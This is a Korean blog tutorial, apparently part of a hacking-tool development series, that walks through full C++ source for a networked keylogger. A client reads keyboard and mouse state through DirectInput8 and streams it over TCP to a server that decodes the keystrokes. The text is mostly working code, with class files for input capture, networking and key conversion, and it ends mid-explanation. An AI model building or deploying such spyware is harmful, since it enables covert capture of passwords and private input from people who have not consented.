해킹도구 개발 | 키로거(Keylogger) 이론및 개발실습
🔥 소개
안녕하세요!
오랜만에 해킹툴 개발강좌가 돌아왔습니다!!
이번 시간에는 속도측면에서 좀 더 강화된 설계를 가지고 돌아왔습니다.
옛날에 올린 키로거관련 포스팅입니다.
https://mawile.tistory.com/131
흠.. 지금보니까 뭔가 심플하지만, 설명이 부족하고, 네트워크관련 설계도 없습니다.
이번시간에는 DirectInput8과 윈도우의 iocp를 이용하여 하드웨어레벨까지 총망라하여 강력한 속도의 키로거를 직접 a부터 z까지 개발해보고 이에 관하여 설명하는 포스팅을 시작하겠습니다.
🔥 키로거(Keylogger)란?
컴퓨터가 받아들이는 입력 정보의 기록, 그 중에서도 주로 키보드를 통한 입력의 기록을 제작하는 장치를 말한다. 대개 사용자의 동의 없이 기록을 만들고 전송하는 방식의 크래킹 도구로 쓰인다. (나무위키)
이번 포스팅에서 저가 만들어볼 키로거는 간단하게 클라이언트의 입력이벤트를 받아들이고, 서버에서 해당 입력이벤트를 처리하는 방식으로 진행할것입니다.
🔮 프로젝트 다운로드
🔮 어떠한 환경에서 개발할까?
이번 해킹툴 또한, C++20을 사용할것입니다.
DirectInput을 사용하기 위해서 DirectX의 최신버전이 설치되어 있어야만 합니다.
저가 최근에 DirectX최신버전 설치글과 환경세팅에 관하여 올린 포스팅이니 반드시 열람해주시기 바랍니다.
https://mawile.tistory.com/245
💎 개발환경
언어: C++20
통합개발환경: Visual Studio 2022 Current
컴파일러: MSVC
🔮 프레임워크및 솔루션
저가 설계한 솔루션과 프레임워크입니다.
InputClass | 입력을 관리하는 클래스 |
NetworkClass | 네트워크를 관리하는 클래스 |
Keylogger | 키로거 헤더 |
keyState | 키관련 메서드를 모아놓은 헤더 |
SMain | 서버쪽 메인모듈 |
CMain | 클라이언트쪽 메인모듈 |
🔮 만들어보자!
SMain.cpp
#include "Keylogger.h"
int main(int argc, char** argv) {
Mawi1e::Keylogger* keylogger = new Mawi1e::Keylogger;
if (keylogger->Initialize(_Mawi1e_KEYLOGGER_SERVER)) {
keylogger->Frame();
}
keylogger->Shutdown();
delete keylogger;
keylogger = nullptr;
return 0;
}
먼저 우리는 키로거의 클래스객체를 동적으로 할당받아, 초기화해줄겁니다.
이 소스파일은 서버쪽이므로, 플래그는 _Mawi1e_KEYLOGGER_SERVER 로 설정해줍니다.
CMain.cpp
#include "Keylogger.h"
int main(int argc, char** argv) {
Mawi1e::Keylogger* keylogger = new Mawi1e::Keylogger;
if (keylogger->Initialize(_Mawi1e_KEYLOGGER_CLIENT, "127.0.0.1")) {
keylogger->Frame();
}
keylogger->Shutdown();
delete keylogger;
keylogger = nullptr;
return 0;
}
클라이언트도 똑같지만, 클라이언트는 서버의 IP주소를 입력해주세요.
저는 같은PC에서 사용할것이기때문에 Loopback주소를 사용했습니다.
InputClass.h
#pragma once
#pragma comment(lib, "dxguid")
#pragma comment(lib, "dinput8")
#define DIRECTINPUT_VERSION (0x0800)
#include "keyState.h"
#include <tuple>
#include <Windows.h>
#include <dinput.h>
namespace Mawi1e {
class InputClass {
public:
InputClass();
InputClass(const InputClass&);
~InputClass();
bool Initialize();
void Shutdown();
bool Frame();
std::tuple<unsigned char*, int, int> GetDeviceState();
private:
void ErrorHandling(const char*);
private:
IDirectInput8* m_DirectInput;
IDirectInputDevice8* m_MouseDevice;
IDirectInputDevice8* m_KeyboardDevice;
unsigned char m_KeyState[256];
DIMOUSESTATE m_MouseState;
int m_ScreenWidth, m_ScreenHeight;
int m_MouseX, m_MouseY;
};
}
이제 우리는 DirectInput8을 사용하여 하드웨어의 메모리를 직접적으로 참조하여 일반적으로 사용하는 winapi의 속도를 뛰어넘는 속도로 마우스와 키의 상태를 읽을것입니다.
InputClass.cpp
#include "InputClass.h"
namespace Mawi1e {
InputClass::InputClass() {
this->m_DirectInput = nullptr;
this->m_KeyboardDevice = nullptr;
this->m_MouseDevice = nullptr;
}
InputClass::InputClass(const InputClass&) {
}
InputClass::~InputClass() {
}
일반적으로 우리는 IUnKnown클래스의 인터페이스에 대한 포인터객체를 초기화해주어야합니다.
bool InputClass::Initialize() {
HINSTANCE hInst;
HWND hwnd;
HRESULT result;
this->m_ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
this->m_ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
/** ------------------------------------------------------------------------
[ 마우스 좌표 초기화 ]
------------------------------------------------------------------------ **/
SetCursorPos(0, 0);
this->m_MouseX = 0;
this->m_MouseY = 0;
hwnd = GetConsoleWindow();
hInst = GetModuleHandle(0);
if (hInst == nullptr) {
this->ErrorHandling("#M300");
return false;
}
result = DirectInput8Create(hInst, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)&this->m_DirectInput, 0);
if (FAILED(result)) {
this->ErrorHandling("#M301");
return false;
}
/** ------------------------------------------------------------------------
[ 키보드 디바이스 객체 취득 ]
------------------------------------------------------------------------ **/
result = this->m_DirectInput->CreateDevice(GUID_SysKeyboard, &this->m_KeyboardDevice, 0);
if (FAILED(result)) {
this->ErrorHandling("#M302");
return false;
}
result = this->m_KeyboardDevice->SetCooperativeLevel(hwnd, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE);
if (FAILED(result)) {
this->ErrorHandling("#M303");
return false;
}
result = this->m_KeyboardDevice->SetDataFormat(&c_dfDIKeyboard);
if (FAILED(result)) {
this->ErrorHandling("#M304");
return false;
}
result = this->m_KeyboardDevice->Acquire();
/*
if (FAILED(result)) {
this->ErrorHandling("#M305");
return false;
}
*/
/** ------------------------------------------------------------------------
[ 마우스 디바이스 객체 취득 ]
------------------------------------------------------------------------ **/
result = this->m_DirectInput->CreateDevice(GUID_SysMouse, &this->m_MouseDevice, 0);
if (FAILED(result)) {
this->ErrorHandling("#M306");
return false;
}
result = this->m_MouseDevice->SetCooperativeLevel(hwnd, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE);
if (FAILED(result)) {
this->ErrorHandling("#M307");
return false;
}
result = this->m_MouseDevice->SetDataFormat(&c_dfDIMouse);
if (FAILED(result)) {
this->ErrorHandling("#M308");
return false;
}
result = this->m_MouseDevice->Acquire();
if (FAILED(result)) {
this->ErrorHandling("#M309");
return false;
}
return true;
}
주석에서도 나와있다시피, 이 함수는 디바이스객체를 할당해주는 함수입니다.
데이터형식을 정하고, 협력레벨은 모두 NONEXCLUSIVE 로 해줍니다.
왜냐하면 우리는 다른 프로세스가 열려있다고 가정하더라도, 그와는 별개로 계속해서 키의 값을 받아와야 하기 때문입니다.
void InputClass::Shutdown() {
if (this->m_KeyboardDevice) {
this->m_KeyboardDevice->Unacquire();
this->m_KeyboardDevice->Release();
this->m_KeyboardDevice = nullptr;
}
if (this->m_MouseDevice) {
this->m_MouseDevice->Unacquire();
this->m_MouseDevice->Release();
this->m_MouseDevice = nullptr;
}
if (this->m_DirectInput) {
this->m_DirectInput->Release();
this->m_DirectInput = nullptr;
}
return;
}
bool InputClass::Frame() {
HRESULT result;
result = this->m_KeyboardDevice->GetDeviceState(sizeof(this->m_KeyState), &this->m_KeyState);
if (FAILED(result)) {
if (result == DIERR_INPUTLOST || result == DIERR_NOTACQUIRED) {
this->m_KeyboardDevice->Acquire();
}
else {
this->ErrorHandling("#M400");
return false;
}
}
result = this->m_MouseDevice->GetDeviceState(sizeof(DIMOUSESTATE), &m_MouseState);
if (FAILED(result)) {
if (result == DIERR_INPUTLOST || result == DIERR_NOTACQUIRED) {
this->m_MouseDevice->Acquire();
}
else {
this->ErrorHandling("#M401");
return false;
}
}
/** ------------------------------------------------------------------------
[ 마우스의 오차범위 제거 ]
------------------------------------------------------------------------ **/
this->m_MouseX += this->m_MouseState.lX;
this->m_MouseY += this->m_MouseState.lY;
if (this->m_MouseX < 0) { this->m_MouseX = 0; }
if (this->m_MouseY < 0) { this->m_MouseY = 0; }
if (this->m_MouseX > m_ScreenWidth) { this->m_MouseX = m_ScreenWidth; }
if (this->m_MouseY > m_ScreenHeight) { this->m_MouseY = m_ScreenHeight; }
return true;
}
std::tuple<unsigned char*, int, int> InputClass::GetDeviceState() {
return std::make_tuple(this->m_KeyState, this->m_MouseX, this->m_MouseY);
}
void InputClass::ErrorHandling(const char* ErrorMessage) {
MessageBoxA(0, ErrorMessage, "##Warning##", MB_ICONWARNING);
return;
}
}
Shutdown함수는 우리가 Initialize함수에서 할당해준 디바이스객체의 메모리공간을 힙으로부터 풀어주는 역할을 합니다.
또한, Frame함수는 매번 우리가 업데이트해야하는 함수인데, 이 함수는 키보드와 마우스의 상태를 새로 읽고씁니다.
NetworkClass.h
#pragma once
#pragma comment(lib, "ws2_32")
#include "keyState.h"
#include <iostream>
#include <thread>
#include <tuple>
#include <winsock2.h>
#include <WS2tcpip.h>
#include <Windows.h>
namespace Mawi1e {
/** ------------------------------------------------------------------------
[ 서버 패킷 ]
------------------------------------------------------------------------ **/
typedef struct {
WSAOVERLAPPED overlapped;
WSABUF wsaBuf;
SOCKET s;
char Message[0x400];
unsigned char prev_key;
bool key_upper;
bool capsLock;
} PER_IO, *LPPER_IO;
class NetworkClass {
public:
NetworkClass();
NetworkClass(const NetworkClass&);
~NetworkClass();
bool Listen(LPWSAOVERLAPPED_COMPLETION_ROUTINE);
bool Connect(const char*);
void ForcefullyPause();
void Shutdown();
bool SendKeyState(KeyState, std::size_t);
private:
void ErrorHandling(const char*);
private:
SOCKET m_ServSock;
};
}
이 네트워크클래스 또한, 우리가 앞서서 만든 InputClass와 같이 하드웨어에 근접한 서비스를 지원합니다.
일단 이 NetworkClass는 iocp의 overlapped모델을 사용하고, winapi자체적으로 지원하는 콜백함수를 사용하여 보다빠른 속도를 보여줍니다.
NetworkClass.cpp
#include "NetworkClass.h"
namespace Mawi1e {
NetworkClass::NetworkClass() {
}
NetworkClass::NetworkClass(const NetworkClass&) {
}
NetworkClass::~NetworkClass() {
}
bool NetworkClass::Listen(LPWSAOVERLAPPED_COMPLETION_ROUTINE Routine) {
WSADATA wsaData;
SOCKADDR_IN sockAddr;
int result;
result = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (result != 0) {
this->ErrorHandling("#M200");
return false;
}
this->m_ServSock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, WSA_FLAG_OVERLAPPED);
if (this->m_ServSock == INVALID_SOCKET) {
this->ErrorHandling("#M201");
return false;
}
memset(&sockAddr, 0x00, sizeof(sockAddr));
sockAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(8080);
result = bind(this->m_ServSock, (SOCKADDR*)&sockAddr, sizeof(sockAddr));
if (result == SOCKET_ERROR) {
this->ErrorHandling("#M202");
return false;
}
result = listen(this->m_ServSock, SOMAXCONN);
if (result == SOCKET_ERROR) {
this->ErrorHandling("#M203");
return false;
}
/** ------------------------------------------------------------------------
[ 동기적으로 클라이언트를 수용 ]
------------------------------------------------------------------------ **/
for (;;) {
SOCKET client;
DWORD Flags;
SOCKADDR_IN tempAddr;
int tempAddrSize;
tempAddrSize = sizeof(tempAddr);
client = accept(this->m_ServSock, (SOCKADDR*)&tempAddr, &tempAddrSize);
if (client == INVALID_SOCKET) {
return true;
}
LPPER_IO tempData = new PER_IO;
memset(&tempData->overlapped, 0x00, sizeof(WSAOVERLAPPED));
memset(&tempData->Message, 0x00, 0x400);
tempData->s = client;
tempData->wsaBuf.len = 0x400;
tempData->wsaBuf.buf = tempData->Message;
Flags = 0x00;
result = WSARecv(tempData->s, &tempData->wsaBuf, 1, 0, &Flags, &tempData->overlapped, Routine);
if (result) {
if (WSAGetLastError() != WSA_IO_PENDING) {
return false;
}
}
}
return true;
}
이번에 Listen함수는 서버를 연뒤, 클라이언트를 받아들일 준비를 합니다.
저가 이번에는 안전성검증과 자원낭비를 줄이기위해 멀티스레드 자체를 아예 사용을 안했습니다. (크으으~~)
콜백함수는 Routine함수입니다.
bool NetworkClass::Connect(const char* ipAddress) {
WSADATA wsaData;
SOCKADDR_IN sockAddr;
int result;
result = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (result != 0) {
this->ErrorHandling("#M200");
return false;
}
this->m_ServSock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, WSA_FLAG_OVERLAPPED);
if (this->m_ServSock == INVALID_SOCKET) {
this->ErrorHandling("#M201");
return false;
}
memset(&sockAddr, 0x00, sizeof(sockAddr));
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(8080);
inet_pton(AF_INET, ipAddress, &sockAddr.sin_addr);
result = connect(this->m_ServSock, (SOCKADDR*)&sockAddr, sizeof(sockAddr));
if (result == INVALID_SOCKET) {
this->ErrorHandling("#M202");
return false;
}
return true;
}
Connect함수는 서버에 접속을 할 수 있는 함수입니다.
연결에 대하여 타임아웃될경우 실패합니다.
void NetworkClass::ForcefullyPause() {
closesocket(this->m_ServSock);
this->Shutdown();
return;
}
void NetworkClass::Shutdown() {
WSACleanup();
return;
}
bool NetworkClass::SendKeyState(KeyState ptr, std::size_t size) {
if (send(this->m_ServSock, (const char*)&ptr, size, 0) <= 0) {
return false;
}
return true;
}
void NetworkClass::ErrorHandling(const char* ErrorMessage) {
MessageBoxA(0, ErrorMessage, "##Warning##", MB_ICONWARNING);
return;
}
ForcefullyPause함수는 서버에 대한 접속이나 클라이언트에 대한 접속을 강제로 종료하는 함수입니다.
SendKeyState함수는 클라이언트가 읽어드린 자신의 키보드와 마우스의 상태를 서버로 전송하는 함수입니다.
Keylogger.h
#pragma once
#include "keyState.h"
#include "NetworkClass.h"
#include "InputClass.h"
#define _Mawi1e_KEYLOGGER_SERVER (0x01)
#define _Mawi1e_KEYLOGGER_CLIENT (0x02)
#include <chrono>
namespace Mawi1e {
void static __stdcall RecvRoutine(DWORD, DWORD, LPWSAOVERLAPPED, DWORD);
class Keylogger {
public:
Keylogger();
Keylogger(const Keylogger&);
~Keylogger();
bool Initialize(int, const char* = "127.0.0.1");
void Shutdown();
void Frame();
private:
void ErrorHandling(const char*);
private:
InputClass* m_Input;
NetworkClass* m_Network;
int m_ServClnt;
};
}
이 클래스는 네트워크클래스와 인풋클래스객체를 관리하고, 우리가 앞으로 사용할 키로거가 하는 역할의 핵심이 될 클래스입니다.
Keylogger.cpp
#include "Keylogger.h"
namespace Mawi1e {
Keylogger::Keylogger() {
this->m_Input = nullptr;
this->m_Network = nullptr;
}
Keylogger::Keylogger(const Keylogger&) {
}
Keylogger::~Keylogger() {
}
bool Keylogger::Initialize(int ServClnt, const char* ipAddress) {
bool result;
this->m_ServClnt = ServClnt;
if (ServClnt == _Mawi1e_KEYLOGGER_CLIENT) {
this->m_Input = new InputClass;
if (this->m_Input == nullptr) {
this->ErrorHandling("#M102");
return false;
}
result = this->m_Input->Initialize();
if (!result) {
this->ErrorHandling("#M103");
return false;
}
}
this->m_Network = new NetworkClass;
if (this->m_Network == nullptr) {
this->ErrorHandling("#M100");
return false;
}
result = true;
if (ServClnt == _Mawi1e_KEYLOGGER_SERVER) {
result = this->m_Network->Listen(RecvRoutine);
}
else if (ServClnt == _Mawi1e_KEYLOGGER_CLIENT) {
result = this->m_Network->Connect(ipAddress);
}
if (!result) {
this->ErrorHandling("#M101");
return false;
}
return true;
}
네트워크클래스와 인풋클래스의 포인터객체를 각각 힙으로부터 메모리공간을 할당해주고, 초기화를 실행합니다.
void Keylogger::Shutdown() {
if (this->m_Input) {
this->m_Input->Shutdown();
delete this->m_Input;
this->m_Input = nullptr;
}
if (this->m_Network) {
this->m_Network->Shutdown();
delete this->m_Network;
this->m_Network = nullptr;
}
return;
}
void Keylogger::Frame() {
bool result;
/** ------------------------------------------------------------------------
[ 클라이언트일경우 입력값업데이트하고, 서버로 전송 ]
------------------------------------------------------------------------ **/
for (;;) {
if (this->m_ServClnt == _Mawi1e_KEYLOGGER_CLIENT) {
result = this->m_Input->Frame();
if (!result) {
this->ErrorHandling("#M104");
break;
}
KeyState keyState;
auto[myKeyState, mouseX, mouseY] = this->m_Input->GetDeviceState();
memcpy(keyState.keyboard, (const void*)myKeyState, 256);
keyState.mouseX = mouseX;
keyState.mouseY = mouseY;
result = this->m_Network->SendKeyState(keyState, sizeof(keyState));
if (!result) {
this->ErrorHandling("#M105");
break;
}
/** ------------------------------------------------------------------------
[ 0.25초 블로킹 ]
------------------------------------------------------------------------ **/
std::this_thread::sleep_for(std::chrono::microseconds(250));
}
}
return;
}
void Keylogger::ErrorHandling(const char* ErrorMessage) {
MessageBoxA(0, ErrorMessage, "##Warning##", MB_ICONWARNING);
return;
}
Frame함수는 우리가 앞으로 계속해서 업데이트해야 할 함수입니다.
이 함수는 클라이언트가 자신의 키보드와 마우스의 상태를 읽어들이고, 해당상태를 이진화하여 서버로 전송합니다.
void __stdcall RecvRoutine(DWORD Erorr, DWORD Databytes, LPWSAOVERLAPPED lpOverlapped, DWORD Flags) {
LPPER_IO ioData = (LPPER_IO)lpOverlapped;
DWORD RecvFlags;
int result;
if (Databytes == 0) {
/** ------------------------------------------------------------------------
[ 클라이언트 연결 해제 ]
------------------------------------------------------------------------ **/
std::cout << "[-] Client Disconnection.\n";
closesocket(ioData->s);
delete ioData;
return;
}
KeyState keyState;
/** ------------------------------------------------------------------------
[ 클라이언트로부터 받은메모리를 전용구조체로 복사 ]
------------------------------------------------------------------------ **/
memcpy(&keyState, ioData->Message, sizeof(keyState));
/** ------------------------------------------------------------------------
[ CapsLock 토글(Toggle)관리 ]
------------------------------------------------------------------------ **/
ioData->capsLock = (keyState.keyboard[DIK_CAPSLOCK] & 0x80 ? ioData->capsLock ? false : true : ioData->capsLock ? true : false);
/** ------------------------------------------------------------------------
[ 키보드상태를 분석 ]
------------------------------------------------------------------------ **/
auto[dik, upper, unClickedFlag] = AsciiStringAssembly(keyState.keyboard, ioData->capsLock);
if (dik > 0) {
if (ioData->prev_key != dik) {
ioData->prev_key = dik;
}
}
if (!unClickedFlag && ioData->key_upper != upper) {
ioData->key_upper = upper;
}
/** ------------------------------------------------------------------------
[ DIK를 ASCII로 바꾼뒤, 콘솔로 출력 ]
------------------------------------------------------------------------ **/
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), { 0, 0 });
std::cout << keyState.mouseX << ", " << keyState.mouseY << ", " << ConvertDIKToAscii(ioData->prev_key, ioData->key_upper) << "\t\t" << std::endl;
/** ------------------------------------------------------------------------
[ Overlapped초기화 ]
------------------------------------------------------------------------ **/
memset(&ioData->overlapped, 0x00, sizeof(WSAOVERLAPPED));
ioData->wsaBuf.len = 0x400;
ioData->wsaBuf.buf = ioData->Message;
RecvFlags = 0x00;
result = WSARecv(ioData->s, &ioData->wsaBuf, 1, 0, &RecvFlags, &ioData->overlapped, RecvRoutine);
if (result) {
if (WSAGetLastError() != WSA_IO_PENDING) {
return;
}
}
}
}
RecvRoutine함수는 우리가 winapi에서 자체적으로 지원하는 iocp overlapped 네트워크모델을 통해 콜백함수로 운용될 함수입니다.
이 함수는 클라이언트들을 관리하고, 데이터패킷을 분석하여 마우스의 키보드에 대한 값으로 변환하는 역할을 합니다.
keyState.h
#pragma once
#include <string>
#include <tuple>
#ifndef MY_DIKKZERO
#define MY_DIKKZERO
#define DIK_ESCAPE 0x01
#define DIK_1 0x02
#define DIK_2 0x03
#define DIK_3 0x04
#define DIK_4 0x05
#define DIK_5 0x06
#define DIK_6 0x07
#define DIK_7 0x08
#define DIK_8 0x09
#define DIK_9 0x0A
#define DIK_0 0x0B
#define DIK_MINUS 0x0C /* - on main keyboard */
#define DIK_EQUALS 0x0D
#define DIK_BACK 0x0E /* backspace */
#define DIK_TAB 0x0F
#define DIK_Q 0x10
#define DIK_W 0x11
#define DIK_E 0x12
#define DIK_R 0x13
#define DIK_T 0x14
#define DIK_Y 0x15
#define DIK_U 0x16
#define DIK_I 0x17
#define DIK_O 0x18
#define DIK_P 0x19
#define DIK_LBRACKET 0x1A
#define DIK_RBRACKET 0x1B
#define DIK_RETURN 0x1C /* Enter on main keyboard */
#define DIK_LCONTROL 0x1D
#define DIK_A 0x1E
#define DIK_S 0x1F
#define DIK_D 0x20
#define DIK_F 0x21
#define DIK_G 0x22
#define DIK_H 0x23
#define DIK_J 0x24
#define DIK_K 0x25
#define DIK_L 0x26
#define DIK_SEMICOLON 0x27
#define DIK_APOSTROPHE 0x28
#define DIK_GRAVE 0x29 /* accent grave */
#define DIK_LSHIFT 0x2A
#define DIK_BACKSLASH 0x2B
#define DIK_Z 0x2C
#define DIK_X 0x2D
#define DIK_C 0x2E
#define DIK_V 0x2F
#define DIK_B 0x30
#define DIK_N 0x31
#define DIK_M 0x32
#define DIK_COMMA 0x33
#define DIK_PERIOD 0x34 /* . on main keyboard */
#define DIK_SLASH 0x35 /* / on main keyboard */
#define DIK_RSHIFT 0x36
#define DIK_MULTIPLY 0x37 /* * on numeric keypad */
#define DIK_LMENU 0x38 /* left Alt */
#define DIK_SPACE 0x39
#define DIK_CAPITAL 0x3A
#define DIK_F1 0x3B
#define DIK_F2 0x3C
#define DIK_F3 0x3D
#define DIK_F4 0x3E
#define DIK_F5 0x3F
#define DIK_F6 0x40
#define DIK_F7 0x41
#define DIK_F8 0x42
#define DIK_F9 0x43
#define DIK_F10 0x44
#define DIK_NUMLOCK 0x45
#define DIK_SCROLL 0x46 /* Scroll Lock */
#define DIK_NUMPAD7 0x47
#define DIK_NUMPAD8 0x48
#define DIK_NUMPAD9 0x49
#define DIK_SUBTRACT 0x4A /* - on numeric keypad */
#define DIK_NUMPAD4 0x4B
#define DIK_NUMPAD5 0x4C
#define DIK_NUMPAD6 0x4D
#define DIK_ADD 0x4E /* + on numeric keypad */
#define DIK_NUMPAD1 0x4F
#define DIK_NUMPAD2 0x50
#define DIK_NUMPAD3 0x51
#define DIK_NUMPAD0 0x52
#define DIK_DECIMAL 0x53 /* . on numeric keypad */
#define DIK_OEM_102 0x56 /* <> or \| on RT 102-key keyboard (Non-U.S.) */
#define DIK_F11 0x57
#define DIK_F12 0x58
#define DIK_F13 0x64 /* (NEC PC98) */
#define DIK_F14 0x65 /* (NEC PC98) */
#define DIK_F15 0x66 /* (NEC PC98) */
#define DIK_KANA 0x70 /* (Japanese keyboard) */
#define DIK_ABNT_C1 0x73 /* /? on Brazilian keyboard */
#define DIK_CONVERT 0x79 /* (Japanese keyboard) */
#define DIK_NOCONVERT 0x7B /* (Japanese keyboard) */
#define DIK_YEN 0x7D /* (Japanese keyboard) */
#define DIK_ABNT_C2 0x7E /* Numpad . on Brazilian keyboard */
#define DIK_NUMPADEQUALS 0x8D /* = on numeric keypad (NEC PC98) */
#define DIK_PREVTRACK 0x90 /* Previous Track (DIK_CIRCUMFLEX on Japanese keyboard) */
#define DIK_AT 0x91 /* (NEC PC98) */
#define DIK_COLON 0x92 /* (NEC PC98) */
#define DIK_UNDERLINE 0x93 /* (NEC PC98) */
#define DIK_KANJI 0x94 /* (Japanese keyboard) */
#define DIK_STOP 0x95 /* (NEC PC98) */
#define DIK_AX 0x96 /* (Japan AX) */
#define DIK_UNLABELED 0x97 /* (J3100) */
#define DIK_NEXTTRACK 0x99 /* Next Track */
#define DIK_NUMPADENTER 0x9C /* Enter on numeric keypad */
#define DIK_RCONTROL 0x9D
#define DIK_MUTE 0xA0 /* Mute */
#define DIK_CALCULATOR 0xA1 /* Calculator */
#define DIK_PLAYPAUSE 0xA2 /* Play / Pause */
#define DIK_MEDIASTOP 0xA4 /* Media Stop */
#define DIK_VOLUMEDOWN 0xAE /* Volume - */
#define DIK_VOLUMEUP 0xB0 /* Volume + */
#define DIK_WEBHOME 0xB2 /* Web home */
#define DIK_NUMPADCOMMA 0xB3 /* , on numeric keypad (NEC PC98) */
#define DIK_DIVIDE 0xB5 /* / on numeric keypad */
#define DIK_SYSRQ 0xB7
#define DIK_RMENU 0xB8 /* right Alt */
#define DIK_PAUSE 0xC5 /* Pause */
#define DIK_HOME 0xC7 /* Home on arrow keypad */
#define DIK_UP 0xC8 /* UpArrow on arrow keypad */
#define DIK_PRIOR 0xC9 /* PgUp on arrow keypad */
#define DIK_LEFT 0xCB /* LeftArrow on arrow keypad */
#define DIK_RIGHT 0xCD /* RightArrow on arrow keypad */
#define DIK_END 0xCF /* End on arrow keypad */
#define DIK_DOWN 0xD0 /* DownArrow on arrow keypad */
#define DIK_NEXT 0xD1 /* PgDn on arrow keypad */
#define DIK_INSERT 0xD2 /* Insert on arrow keypad */
#define DIK_DELETE 0xD3 /* Delete on arrow keypad */
#define DIK_LWIN 0xDB /* Left Windows key */
#define DIK_RWIN 0xDC /* Right Windows key */
#define DIK_APPS 0xDD /* AppMenu key */
#define DIK_POWER 0xDE /* System Power */
#define DIK_SLEEP 0xDF /* System Sleep */
#define DIK_WAKE 0xE3 /* System Wake */
#define DIK_WEBSEARCH 0xE5 /* Web Search */
#define DIK_WEBFAVORITES 0xE6 /* Web Favorites */
#define DIK_WEBREFRESH 0xE7 /* Web Refresh */
#define DIK_WEBSTOP 0xE8 /* Web Stop */
#define DIK_WEBFORWARD 0xE9 /* Web Forward */
#define DIK_WEBBACK 0xEA /* Web Back */
#define DIK_MYCOMPUTER 0xEB /* My Computer */
#define DIK_MAIL 0xEC /* Mail */
#define DIK_MEDIASELECT 0xED /* Media Select */
/*
* Alternate names for keys, to facilitate transition from DOS.
*/
#define DIK_BACKSPACE DIK_BACK /* backspace */
#define DIK_NUMPADSTAR DIK_MULTIPLY /* * on numeric keypad */
#define DIK_LALT DIK_LMENU /* left Alt */
#define DIK_CAPSLOCK DIK_CAPITAL /* CapsLock */
#define DIK_NUMPADMINUS DIK_SUBTRACT /* - on numeric keypad */
#define DIK_NUMPADPLUS DIK_ADD /* + on numeric keypad */
#define DIK_NUMPADPERIOD DIK_DECIMAL /* . on numeric keypad */
#define DIK_NUMPADSLASH DIK_DIVIDE /* / on numeric keypad */
#define DIK_RALT DIK_RMENU /* right Alt */
#define DIK_UPARROW DIK_UP /* UpArrow on arrow keypad */
#define DIK_PGUP DIK_PRIOR /* PgUp on arrow keypad */
#define DIK_LEFTARROW DIK_LEFT /* LeftArrow on arrow keypad */
#define DIK_RIGHTARROW DIK_RIGHT /* RightArrow on arrow keypad */
#define DIK_DOWNARROW DIK_DOWN /* DownArrow on arrow keypad */
#define DIK_PGDN DIK_NEXT /* PgDn on arrow keypad */
#endif /* MY_DIKKZERO */
namespace Mawi1e {
struct KeyState {
unsigned char keyboard[256];
int mouseX, mouseY;
};
std::string ConvertDIKToAscii(int, bool);
std::tuple<int, bool, bool> AsciiStringAssembly(const unsigned char*, bool);
}
우선 MY_DIKKZERO 매크로부분은 집중적으로 안보셔도됩니다.
저는 여기서 그냥 dinput을 인클루드하면 매크로중첩 오류가 나길래, 그냥 dinput헤더파일에서 DIK_매크로만 그대로 긁어왔습니다.
keyState.cpp
#include "keyState.h"
namespace Mawi1e {
std::string ConvertDIKToAscii(int dik, bool upper) {
std::string ascii;
ascii = "\0";
switch (dik) {
case DIK_A: ascii = "A"; break;
case DIK_B: ascii = "B"; break;
case DIK_C: ascii = "C"; break;
case DIK_D: ascii = "D"; break;
case DIK_E: ascii = "E"; break;
case DIK_F: ascii = "F"; break;
case DIK_G: ascii = "G"; break;
case DIK_H: ascii = "H"; break;
case DIK_I: ascii = "I"; break;
case DIK_J: ascii = "J"; break;
case DIK_K: ascii = "K"; break;
case DIK_L: ascii = "L"; break;
case DIK_M: ascii = "M"; break;
case DIK_N: ascii = "N"; break;
case DIK_O: ascii = "O"; break;
case DIK_P: ascii = "P"; break;
case DIK_Q: ascii = "Q"; break;
case DIK_R: ascii = "R"; break;
case DIK_S: ascii = "S"; break;
case DIK_T: ascii = "T"; break;
case DIK_U: ascii = "U"; break;
case DIK_V: ascii = "V"; break;
case DIK_W: ascii = "W"; break;
case DIK_X: ascii = "X"; break;
case DIK_Y: ascii = "Y"; break;
case DIK_Z: ascii = "Z"; break;
case DIK_RETURN: ascii = "[Enter]"; break;
case DIK_ESCAPE: ascii = "[Esc]"; break;
case DIK_LSHIFT: ascii = "[LShift]"; break;
case DIK_RSHIFT: ascii = "[RShift]"; break;
case DIK_CAPSLOCK: ascii = "[CapsLock]"; break;
case DIK_TAB: ascii = "[Tab]"; break;
case DIK_LALT: ascii = "[LAlt]"; break;
case DIK_RALT: ascii = "[RAlt]"; break;
case DIK_LCONTROL: ascii = "[LCtrl]"; break;
case DIK_RCONTROL: ascii = "[RCtrl]"; break;
case DIK_UP: ascii = "[Up]"; break;
case DIK_DOWN: ascii = "[Down]"; break;
case DIK_RIGHT: ascii = "[Right]"; break;
case DIK_LEFT: ascii = "[Left]"; break;
case DIK_0: ascii = "0"; break;
case DIK_1: ascii = "1"; break;
case DIK_2: ascii = "2"; break;
case DIK_3: ascii = "3"; break;
case DIK_4: ascii = "4"; break;
case DIK_5: ascii = "5"; break;
case DIK_6: ascii = "6"; break;
case DIK_7: ascii = "7"; break;
case DIK_8: ascii = "8"; break;
case DIK_9: ascii = "9"; break;
}
if (ascii.size() == 1 && !upper) {
if ('A' <= ascii[0] && ascii[0] <= 'Z') {
ascii[0] += 32;
}
}
if (ascii.size() == 1 && upper) {
switch (ascii[0]) {
case '0': ascii[0] = ')'; break;
case '1': ascii[0] = '!'; break;
case '2': ascii[0] = '@'; break;
case '3': ascii[0] = '#'; break;
case '4': ascii[0] = '$'; break;
case '5': ascii[0] = '%'; break;
case '6': ascii[0] = '^'; break;
case '7': ascii[0] = '&'; break;
case '8': ascii[0] = '*'; break;
case '9': ascii[0] = '('; break;
}
}
return ascii;
}
우선 이 함수는 DirectInput의 키 매크로를 아스키값으로 변환하는 역할을 합니다.
DirectInput에서 지원하는 키의 순서는 아스키의 순서와 틀려요.
그대로 쓰면은 제대로 출력이 안될겁니다.
